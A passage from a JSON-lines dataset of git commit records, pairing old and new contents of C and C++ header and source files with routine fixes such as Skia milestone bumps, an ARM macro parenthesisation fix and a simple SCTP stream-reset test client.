NSSet\n","lang":"C","license":"mit","repos":"Geek-1001\/Clue,Geek-1001\/Clue,Geek-1001\/Clue,Geek-1001\/Clue"}
{"commit":"43795e05bc7b112ba242ec7a9951f30dd4978a9e","old_file":"io\/file_descriptor.h","new_file":"io\/file_descriptor.h","old_contents":"#ifndef\tFILE_DESCRIPTOR_H\n#define\tFILE_DESCRIPTOR_H\n\n#include <io\/channel.h>\n\nclass FileDescriptor : public Channel {\n\tLogHandle log_;\nprotected:\n\tint fd_;\npublic:\n\tFileDescriptor(int);\n\t~FileDescriptor();\n\n\tAction *close(EventCallback *);\n\tAction *read(size_t, EventCallback *);\n\tAction *write(Buffer *, EventCallback *);\n};\n\n#endif \/* !FILE_DESCRIPTOR_H *\/\n","new_contents":"#ifndef\tFILE_DESCRIPTOR_H\n#define\tFILE_DESCRIPTOR_H\n\n#include <io\/channel.h>\n\nclass FileDescriptor : public Channel {\n\tLogHandle log_;\nprotected:\n\tint fd_;\npublic:\n\tFileDescriptor(int);\n\t~FileDescriptor();\n\n\tvirtual Action *close(EventCallback *);\n\tvirtual Action *read(size_t, EventCallback *);\n\tvirtual Action *write(Buffer *, EventCallback *);\n};\n\n#endif \/* !FILE_DESCRIPTOR_H *\/\n","subject":"Make close, read and write virtual.","message":"Make close, read and write virtual.\n\n\ngit-svn-id: 9e2532540f1574e817ce42f20b9d0fb64899e451@192 4068ffdb-0463-0410-8185-8cc71e3bd399\n","lang":"C","license":"bsd-2-clause","repos":"diegows\/wanproxy,diegows\/wanproxy,splbio\/wanproxy,splbio\/wanproxy,splbio\/wanproxy,diegows\/wanproxy"}
{"commit":"bd08163aa2c0067a06638dcaefd1cd14461adea5","old_file":"gass\/file\/source\/globus_gass_file.h","new_file":"gass\/file\/source\/globus_gass_file.h","old_contents":"\/******************************************************************************\nglobus_gass_file_api.h\n \nDescription:\n    This header contains the GASS File Access API definitions\n \nCVS Information:\n \n    $Source$\n    $Date$\n    $Revision$\n    $Author$\n******************************************************************************\/\n#ifndef _GLOBUS_GASS_INCLUDE_GLOBUS_GASS_FILE_API_H\n#define _GLOBUS_GASS_INCLUDE_GLOBUS_GASS_FILE_API_H\n\n#ifndef EXTERN_C_BEGIN\n#ifdef __cplusplus\n#define EXTERN_C_BEGIN extern \"C\" {\n#define EXTERN_C_END }\n#else\n#define EXTERN_C_BEGIN\n#define EXTERN_C_END\n#endif\n#endif\n\n#include <stdio.h>\n\nEXTERN_C_BEGIN\n\nint globus_gass_open(char *file, int oflags, ...);\nFILE *globus_gass_fopen(char *file, char *mode);\nint globus_gass_close(int fd);\nint globus_gass_fclose(FILE *f);\n\n\/******************************************************************************\n *                    Module Definition\n *****************************************************************************\/\nextern globus_module_descriptor_t globus_i_gass_file_module;\n#define GLOBUS_GASS_FILE_MODULE (&globus_i_gass_file_module)\n\nEXTERN_C_END\n\n#endif\n","new_contents":"\/******************************************************************************\nglobus_gass_file_api.h\n \nDescription:\n    This header contains the GASS File Access API definitions\n \nCVS Information:\n \n    $Source$\n    $Date$\n    $Revision$\n    $Author$\n******************************************************************************\/\n#ifndef _GLOBUS_GASS_INCLUDE_GLOBUS_GASS_FILE_API_H\n#define _GLOBUS_GASS_INCLUDE_GLOBUS_GASS_FILE_API_H\n\n#ifndef EXTERN_C_BEGIN\n#ifdef __cplusplus\n#define EXTERN_C_BEGIN extern \"C\" {\n#define EXTERN_C_END }\n#else\n#define EXTERN_C_BEGIN\n#define EXTERN_C_END\n#endif\n#endif\n\n#include <stdio.h>\n#include \"globus_gass_common.h\"\n\nEXTERN_C_BEGIN\n\nint globus_gass_open(char *file, int oflags, ...);\nFILE *globus_gass_fopen(char *file, char *mode);\nint globus_gass_close(int fd);\nint globus_gass_fclose(FILE *f);\n\n\/******************************************************************************\n *                    Module Definition\n *****************************************************************************\/\nextern globus_module_descriptor_t globus_i_gass_file_module;\n#define GLOBUS_GASS_FILE_MODULE (&globus_i_gass_file_module)\n\nEXTERN_C_END\n\n#endif\n","subject":"Add inclusion of globus_gass_common.h so end user does not need this inclusion","message":"Add inclusion of globus_gass_common.h so end user does not need this inclusion\n","lang":"C","license":"apache-2.0","repos":"ellert\/globus-toolkit,ellert\/globus-toolkit,ellert\/globus-toolkit,globus\/globus-toolkit,globus\/globus-toolkit,ellert\/globus-toolkit,gridcf\/gct,gridcf\/gct,globus\/globus-toolkit,globus\/globus-toolkit,globus\/globus-toolkit,gridcf\/gct,gridcf\/gct,ellert\/globus-toolkit,globus\/globus-toolkit,ellert\/globus-toolkit,globus\/globus-toolkit,gridcf\/gct,globus\/globus-toolkit,ellert\/globus-toolkit,ellert\/globus-toolkit,gridcf\/gct"}
{"commit":"0a2d85484ad324195537b20c7691a4b49868b76f","old_file":"Sensorama\/Sensorama\/SRUtils.h","new_file":"Sensorama\/Sensorama\/SRUtils.h","old_contents":"\/\/\n\/\/  SRUtils.h\n\/\/  Sensorama\n\/\/\n\/\/  Created by Wojciech Koszek (home) on 3\/1\/16.\n\/\/  Copyright © 2016 Wojciech Adam Koszek. All rights reserved.\n\/\/\n\n@import Foundation;\n@import UIKit;\n\n@interface SRUtils : NSObject\n\n+ (UIColor *)mainColor;\n+ (NSDictionary *)deviceInfo;\n+ (NSString*)computeSHA256DigestForString:(NSString*)input;\n+ (BOOL)isSimulator;\n+ (NSString *)activityString:(CMMotionActivity *)activity;\n+ (NSInteger)activityInteger:(CMMotionActivity *)activity;\n\n@end\n","new_contents":"\/\/\n\/\/  SRUtils.h\n\/\/  Sensorama\n\/\/\n\/\/  Created by Wojciech Koszek (home) on 3\/1\/16.\n\/\/  Copyright © 2016 Wojciech Adam Koszek. All rights reserved.\n\/\/\n\n@import Foundation;\n@import UIKit;\n@import CoreMotion;\n\n@interface SRUtils : NSObject\n\n+ (UIColor *)mainColor;\n+ (NSDictionary *)deviceInfo;\n+ (NSString*)computeSHA256DigestForString:(NSString*)input;\n+ (BOOL)isSimulator;\n+ (NSString *)activityString:(CMMotionActivity *)activity;\n+ (NSInteger)activityInteger:(CMMotionActivity *)activity;\n\n@end\n","subject":"Add CoreMotion so that types can be detected","message":"Add CoreMotion so that types can be detected\n","lang":"C","license":"bsd-2-clause","repos":"wkoszek\/sensorama-ios,wkoszek\/sensorama-ios,wkoszek\/sensorama-ios,wkoszek\/sensorama-ios"}
{"commit":"bb45039fab4071893154345415ad961391733c2d","old_file":"include\/llvm\/Transforms\/SampleProfile.h","new_file":"include\/llvm\/Transforms\/SampleProfile.h","old_contents":"\/\/===- Transforms\/SampleProfile.h - SamplePGO pass--------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\/ \\file\n\/\/\/ This file provides the interface for the sampled PGO loader pass.\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_TRANSFORMS_SAMPLEPROFILE_H\n#define LLVM_TRANSFORMS_SAMPLEPROFILE_H\n\n#include \"llvm\/IR\/PassManager.h\"\n\nnamespace llvm {\n\n\/\/\/ The instrumentation (profile-instr-gen) pass for IR based PGO.\nclass SampleProfileLoaderPass : public PassInfoMixin<SampleProfileLoaderPass> {\npublic:\n  PreservedAnalyses run(Module &M, AnalysisManager<Module> &AM);\n};\n\n} \/\/ End llvm namespace\n#endif\n","new_contents":"\/\/===- Transforms\/SampleProfile.h - SamplePGO pass--------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\/ \\file\n\/\/\/ This file provides the interface for the sampled PGO loader pass.\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_TRANSFORMS_SAMPLEPROFILE_H\n#define LLVM_TRANSFORMS_SAMPLEPROFILE_H\n\n#include \"llvm\/IR\/PassManager.h\"\n\nnamespace llvm {\n\n\/\/\/ The sample profiler data loader pass.\nclass SampleProfileLoaderPass : public PassInfoMixin<SampleProfileLoaderPass> {\npublic:\n  PreservedAnalyses run(Module &M, AnalysisManager<Module> &AM);\n};\n\n} \/\/ End llvm namespace\n#endif\n","subject":"Fix wrong comment in header \/NFC","message":"Fix wrong comment in header \/NFC\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@271825 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm"}
{"commit":"ff2938e75c27521a0bfd13028ccd045a349f169b","old_file":"gen-system.c","new_file":"gen-system.c","old_contents":"#include <stdio.h>\n#include <stdint.h>\n#include <stdlib.h>\n\nint main(int argc, char **argv)\n{\n\tprintf(\"#include <stdint.h>\\n\"\n\t       \"#include \\\"mako-vm.h\\\"\\n\"\n\t       \"char *argv0;\\n\"\n\t       \"int32_t mem[] = {\");\n\twhile(!feof(stdin)) {\n\t\tuint8_t buf[4];\n\t\tint n = fread(buf, sizeof *buf, 4, stdin);\n\t\tif(ferror(stdin)) goto onerr;\n\t\tif(n == 0) break;\n\t\tif(n != 4) {\n\t\t\tfprintf(stderr, \"%s: The file was invalid.\\n\", argv[0]);\n\t\t\texit(1);\n\t\t}\n\t\tprintf(\"0x%04X,\", (int32_t)buf[0] << 24 | (int32_t)buf[1] << 16 | (int32_t)buf[2] << 8 | (int32_t)buf[3]);\n\t}\n\tprintf(\"0};\\n\"\n\t       \"int main(int argc, char **argv)\\n\"\n\t       \"{\\n\"\n\t       \"\\targv0 = argv[0];\\n\"\n\t       \"\\trun_vm(mem);\\n\"\n\t       \"}\\n\");\n\texit(0);\n\nonerr:\n\tperror(argv[0]);\n\texit(1);\n}\n","new_contents":"#include <stdio.h>\n#include <stdint.h>\n#include <stdlib.h>\n\nint main(int argc, char **argv)\n{\n\tprintf(\"#include <stdint.h>\\n\"\n\t       \"#include <SDL.h>\\n\"\n\t       \"#include \\\"mako-vm.h\\\"\\n\"\n\t       \"char *argv0;\\n\"\n\t       \"int32_t mem[] = {\");\n\twhile(!feof(stdin)) {\n\t\tuint8_t buf[4];\n\t\tint n = fread(buf, sizeof *buf, 4, stdin);\n\t\tif(ferror(stdin)) goto onerr;\n\t\tif(n == 0) break;\n\t\tif(n != 4) {\n\t\t\tfprintf(stderr, \"%s: The file was invalid.\\n\", argv[0]);\n\t\t\texit(1);\n\t\t}\n\t\tprintf(\"0x%04X,\", (int32_t)buf[0] << 24 | (int32_t)buf[1] << 16 | (int32_t)buf[2] << 8 | (int32_t)buf[3]);\n\t}\n\tprintf(\"0};\\n\"\n\t       \"int main(int argc, char **argv)\\n\"\n\t       \"{\\n\"\n\t       \"\\targv0 = argv[0];\\n\"\n\t       \"\\trun_vm(mem);\\n\"\n\t       \"}\\n\");\n\texit(0);\n\nonerr:\n\tperror(argv[0]);\n\texit(1);\n}\n","subject":"Include <SDL.h> in the baked VMs, so Windows works.","message":"Include <SDL.h> in the baked VMs, so Windows works.\n","lang":"C","license":"mit","repos":"pikhq\/cmako,pikhq\/cmako"}
{"commit":"8c18fe2562c45180c407872d05857c55c1e5e37b","old_file":"include\/asm-arm\/mach\/map.h","new_file":"include\/asm-arm\/mach\/map.h","old_contents":"\/*\n *  linux\/include\/asm-arm\/map.h\n *\n *  Copyright (C) 1999-2000 Russell King\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License version 2 as\n * published by the Free Software Foundation.\n *\n *  Page table mapping constructs and function prototypes\n *\/\nstruct map_desc {\n\tunsigned long virtual;\n\tunsigned long pfn;\n\tunsigned long length;\n\tunsigned int type;\n};\n\nstruct meminfo;\n\n#define MT_DEVICE\t\t0\n#define MT_CACHECLEAN\t\t1\n#define MT_MINICLEAN\t\t2\n#define MT_LOW_VECTORS\t\t3\n#define MT_HIGH_VECTORS\t\t4\n#define MT_MEMORY\t\t5\n#define MT_ROM\t\t\t6\n#define MT_IXP2000_DEVICE\t7\n\n#define\t__phys_to_pfn(paddr)\t(paddr >> PAGE_SHIFT)\n#define\t__pfn_to_phys(pfn)\t(pfn << PAGE_SHIFT)\n\nextern void create_memmap_holes(struct meminfo *);\nextern void memtable_init(struct meminfo *);\nextern void iotable_init(struct map_desc *, int);\nextern void setup_io_desc(void);\n","new_contents":"\/*\n *  linux\/include\/asm-arm\/map.h\n *\n *  Copyright (C) 1999-2000 Russell King\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License version 2 as\n * published by the Free Software Foundation.\n *\n *  Page table mapping constructs and function prototypes\n *\/\nstruct map_desc {\n\tunsigned long virtual;\n\tunsigned long pfn;\n\tunsigned long length;\n\tunsigned int type;\n};\n\nstruct meminfo;\n\n#define MT_DEVICE\t\t0\n#define MT_CACHECLEAN\t\t1\n#define MT_MINICLEAN\t\t2\n#define MT_LOW_VECTORS\t\t3\n#define MT_HIGH_VECTORS\t\t4\n#define MT_MEMORY\t\t5\n#define MT_ROM\t\t\t6\n#define MT_IXP2000_DEVICE\t7\n\n#define\t__phys_to_pfn(paddr)\t((paddr) >> PAGE_SHIFT)\n#define\t__pfn_to_phys(pfn)\t((pfn) << PAGE_SHIFT)\n\nextern void create_memmap_holes(struct meminfo *);\nextern void memtable_init(struct meminfo *);\nextern void iotable_init(struct map_desc *, int);\nextern void setup_io_desc(void);\n","subject":"Fix buggy __phys_to_pfn \/ __pfn_to_phys","message":"[ARM] Fix buggy __phys_to_pfn \/ __pfn_to_phys\n\nMacro arguments should _always_ be surrounded by parentheses\nwhen used to prevent unexpected problems with operator precedence.\n\nSigned-off-by: Russell King <f6aa0246ff943bfa8602cdf60d40c481b38ed232@arm.linux.org.uk>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"440f8382b009c9af12da567119566113a89ec935","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 65\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 66\n#endif\n","subject":"Update Skia milestone to 66","message":"Update Skia milestone to 66\n\nTBR=reed@google.com\n\nBug: skia:\nChange-Id: Ib011c6d4a6e54980d2e6e8b16a93551d99dcd948\nReviewed-on: https:\/\/skia-review.googlesource.com\/97103\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nCommit-Queue: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"google\/skia,HalCanary\/skia-hc,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,google\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,rubenvb\/skia,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,google\/skia,rubenvb\/skia,rubenvb\/skia,rubenvb\/skia,HalCanary\/skia-hc,google\/skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,google\/skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc"}
{"commit":"5b2ede3d0d44f5d96ccaad5d72df41c1df678708","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 84\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 85\n#endif\n","subject":"Update Skia milestone to 85","message":"Update Skia milestone to 85\n\nChange-Id: If6f878b896397ec1946a0b29b10764722b35d737\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/289777\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nCommit-Queue: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nAuto-Submit: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"google\/skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia"}
{"commit":"217b2661c14b7940bb273f4b793b3c6d41f7425c","old_file":"ionScience\/MarchingCubes.h","new_file":"ionScience\/MarchingCubes.h","old_contents":"\r\n#pragma once\r\n\r\n#include <ionScene\/CSimpleMesh.h>\r\n#include \"SVolume.h\"\r\n\r\n\r\nstruct SMarchingCubesPoint\r\n{\r\n\tf32 Value;\r\n\tvec3f Gradient;\r\n\r\n\tSMarchingCubesPoint()\r\n\t{}\r\n\r\n\tSMarchingCubesPoint(f32 const & value)\r\n\t\t: Value(value)\r\n\t{}\r\n};\r\n\r\ntypedef SVolume<SMarchingCubesPoint> SMarchingCubesVolume;\r\n\r\nvoid CalculateGradient(SMarchingCubesVolume & Volume);\r\nion::Scene::CSimpleMesh * MarchingCubes(SMarchingCubesVolume & Volume);\r\n","new_contents":"\r\n#pragma once\r\n\r\n#include <ionScene\/CSimpleMesh.h>\r\n#include \"SVolume.h\"\r\n\r\n\r\nstruct SMarchingCubesPoint\r\n{\r\n\tf32 Value = 0;\r\n\tvec3f Gradient;\r\n\r\n\tSMarchingCubesPoint()\r\n\t{}\r\n\r\n\tSMarchingCubesPoint(f32 const & value)\r\n\t\t: Value(value)\r\n\t{}\r\n};\r\n\r\ntypedef SVolume<SMarchingCubesPoint> SMarchingCubesVolume;\r\n\r\nvoid CalculateGradient(SMarchingCubesVolume & Volume);\r\nion::Scene::CSimpleMesh * MarchingCubes(SMarchingCubesVolume & Volume);\r\n","subject":"Fix marching cubes unitialized variable","message":"[ionScience] Fix marching cubes unitialized variable\n","lang":"C","license":"mit","repos":"iondune\/ionEngine,iondune\/ionEngine"}
{"commit":"f28cebff4d6ae816a78fe4a967d725f5c855cd60","old_file":"rst_client.c","new_file":"rst_client.c","old_contents":"","new_contents":"#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <netinet\/in.h>\n#include <netinet\/sctp.h>\n#include <arpa\/inet.h>\n#include <string.h>\n#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <errno.h>\n\n#define PORT 5001\n#define ADDR \"212.201.121.85\"\n\nint\nmain(int argc, char *argv[])\n{\n\tint fd;\n\tchar c;\n#if 1\n\tstruct sctp_reset_streams srs;\n#else\n\tsctp_assoc_t assoc_id;\n#endif\n\tstruct sockaddr_in addr;\n\n\tif ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP)) < 0) {\n\t\tperror(\"socket\");\n\t}\n\tmemset(&addr, 0, sizeof(struct sockaddr_in));\n\taddr.sin_family = AF_INET;\n\taddr.sin_len = sizeof(struct sockaddr_in);\n\taddr.sin_addr.s_addr = inet_addr(ADDR);\n\taddr.sin_port = htons(PORT);\n\tif (connect(fd, (const struct sockaddr *) &addr, sizeof(struct sockaddr_in)) != 0) {\n\t\tperror(\"connect\");\n\t}\n\tc = 'A';\n\tif (send(fd, (const void *)&c, 1, 0) < 0) {\n\t\tperror(\"send 1\");\n\t}\n\tc = 'B';\n\tif (send(fd, (const void *)&c, 1, 0) < 0) {\n\t\tperror(\"send 2\");\n\t}\n#if 1\n\tmemset(&srs, 0, sizeof(struct sctp_reset_streams));\n\tsrs.srs_flags = SCTP_STREAM_RESET_OUTGOING;\n\tsrs.srs_number_streams = 0;\n\tif (setsockopt(fd, IPPROTO_SCTP, SCTP_RESET_STREAMS, &srs, (socklen_t)sizeof(struct sctp_reset_streams)) < 0) {\n\t\tperror(\"setsockopt SCTP_RESET_STREAMS\");\n\t}\n#else\n\tif (setsockopt(fd, IPPROTO_SCTP, SCTP_RESET_ASSOC, &assoc_id, (socklen_t)sizeof(sctp_assoc_t)) < 0) {\n\t\tperror(\"setsockopt SCTP_RESET_ASSOC\");\n\t}\n#endif\n\tif (close(fd) < 0) {\n\t\tperror(\"close\");\n\t}\n\treturn (0);\n}\t\n","subject":"Add a simple test client.","message":"Add a simple test client.\n","lang":"C","license":"bsd-2-clause","repos":"sctplab\/stream-reset-improved,sctplab\/stream-reset-improved"}
{"commit":"431fed0108bdccf1ea8fb40b952d32ec993cfaa4","old_file":"src\/config.h","new_file":"src\/config.h","old_contents":"#pragma once\n\n#include <pebble.h>\n\n#define BG_COLOR GColorWhite\n\n#define ACTION_BAR_WIDTH_WITH_GAP (ACTION_BAR_WIDTH + 12)\n\n#define BPM_FONT FONT_KEY_BITHAM_42_BOLD\n#define BPM_FONT_HEIGHT 42\n#define BPM_DEFAULT \"---\"\n\n#define BPM_HINT_FONT FONT_KEY_GOTHIC_24_BOLD\n#define BPM_HINT_FONT_HEIGHT 24\n#define BPM_HINT_TEXT \"BPM:\"\n\n#define BPM_TEXT_BUFFER_SIZE 10\n\n#define TAP_TIMEOUT_SECONDS 2\n","new_contents":"#pragma once\n\n#include <pebble.h>\n\n#define BG_COLOR GColorWhite\n\n#ifdef PBL_ROUND\n#define ACTION_BAR_WIDTH_WITH_GAP (ACTION_BAR_WIDTH + 12)\n#else\n#define ACTION_BAR_WIDTH_WITH_GAP (ACTION_BAR_WIDTH + 2)\n#endif\n\n#define BPM_FONT FONT_KEY_BITHAM_42_BOLD\n#define BPM_FONT_HEIGHT 42\n#define BPM_DEFAULT \"---\"\n\n#define BPM_HINT_FONT FONT_KEY_GOTHIC_24_BOLD\n#define BPM_HINT_FONT_HEIGHT 24\n#define BPM_HINT_TEXT \"BPM:\"\n\n#define BPM_TEXT_BUFFER_SIZE 10\n\n#define TAP_TIMEOUT_SECONDS 2\n","subject":"Fix cut off BPM on aplite and basalt","message":"Fix cut off BPM on aplite and basalt\n\nPreviously, BPMs that rendered wide, specifically 100.0 and simlar, would get\ncut off on these platforms. This change decreases border size on square watches\nto prevent this from happening.\n","lang":"C","license":"mit","repos":"aarmea\/bpm-pebble,aarmea\/bpm-pebble,aarmea\/bpm-pebble"}
{"commit":"380b06677936225540a538e032741e4ed7ef2d26","old_file":"src\/qt\/bitcoinaddressvalidator.h","new_file":"src\/qt\/bitcoinaddressvalidator.h","old_contents":"#ifndef BITCOINADDRESSVALIDATOR_H\n#define BITCOINADDRESSVALIDATOR_H\n\n#include <QValidator>\n\n\/** Base48 entry widget validator.\n   Corrects near-miss characters and refuses characters that are no part of base48.\n *\/\nclass BitcoinAddressValidator : public QValidator\n{\n    Q_OBJECT\n\npublic:\n    explicit BitcoinAddressValidator(QObject *parent = 0);\n\n    State validate(QString &input, int &pos) const;\n\n    static const int MaxAddressLength = 35;\n};\n\n#endif \/\/ BITCOINADDRESSVALIDATOR_H\n","new_contents":"#ifndef BITCOINADDRESSVALIDATOR_H\n#define BITCOINADDRESSVALIDATOR_H\n\n#include <QValidator>\n\n\/** Base58 entry widget validator.\n   Corrects near-miss characters and refuses characters that are not part of base58.\n *\/\nclass BitcoinAddressValidator : public QValidator\n{\n    Q_OBJECT\n\npublic:\n    explicit BitcoinAddressValidator(QObject *parent = 0);\n\n    State validate(QString &input, int &pos) const;\n\n    static const int MaxAddressLength = 35;\n};\n\n#endif \/\/ BITCOINADDRESSVALIDATOR_H\n","subject":"Fix typo in a comment: it's base58, not base48.","message":"Fix typo in a comment: it's base58, not base48.\n","lang":"C","license":"mit","repos":"MidasPaymentLTD\/midascoin,MidasPaymentLTD\/midascoin,MidasPaymentLTD\/midascoin,MidasPaymentLTD\/midascoin,MidasPaymentLTD\/midascoin"}
{"commit":"ae360ba7aa18b1222a1ed92e67cbc7690e4a3f5c","old_file":"src\/parser.h","new_file":"src\/parser.h","old_contents":"\/*\n * The Homework Database\n *\n * SQL Parser\n *\n * Authors:\n *    Oliver Sharma and Joe Sventek\n *     {oliver, joe}@dcs.gla.ac.uk\n *\n * (c) 2009. All rights reserved.\n *\/\n#ifndef HWDB_PARSER_H\n#define HWDB_PARSER_H\n\n#include \"sqlstmts.h\"\n#include \"gram.h\"\n\n\/* Places parsed output in externally declared global variable:\n *     sqlstmt stmt\n *\/\nvoid *sql_parse(char *query);\n\nvoid reset_statement(void);\n\nvoid sql_reset_parser(void *bufstate);\n\nvoid sql_dup_stmt(sqlstmt *dup);\n\n\/* Prints externally declared global variable\n *     sqlstmt stmt\n * to standard output\n *\/\nvoid sql_print();\n\n#endif\n","new_contents":"\/*\n * Copyright (c) 2013, Court of the University of Glasgow\n * All rights reserved.\n\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n\n * - Redistributions of source code must retain the above copyright notice,\n *   this list of conditions and the following disclaimer.\n *\n * - Redistributions in binary form must reproduce the above copyright notice,\n *   this list of conditions and the following disclaimer in the documentation\n *   and\/or other materials provided with the distribution.\n *\n * - Neither the name of the University of Glasgow nor the names of its\n *   contributors may be used to endorse or promote products derived from this\n *   software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n\/*\n * The Homework Database\n *\n * SQL Parser\n *\n * Authors:\n *    Oliver Sharma and Joe Sventek\n *     {oliver, joe}@dcs.gla.ac.uk\n *\n *\/\n#ifndef HWDB_PARSER_H\n#define HWDB_PARSER_H\n\n#include \"sqlstmts.h\"\n#include \"gram.h\"\n\n\/* Places parsed output in externally declared global variable:\n *     sqlstmt stmt\n *\/\nvoid *sql_parse(char *query);\n\nvoid reset_statement(void);\n\nvoid sql_reset_parser(void *bufstate);\n\nvoid sql_dup_stmt(sqlstmt *dup);\n\n\/* Prints externally declared global variable\n *     sqlstmt stmt\n * to standard output\n *\/\nvoid sql_print();\n\n#endif\n","subject":"Add BSD 3-clause open source header","message":"Add BSD 3-clause open source header\n","lang":"C","license":"bsd-3-clause","repos":"fergul\/Cache,jsventek\/Cache,jsventek\/Cache,jsventek\/Cache,fergul\/Cache,fergul\/Cache"}
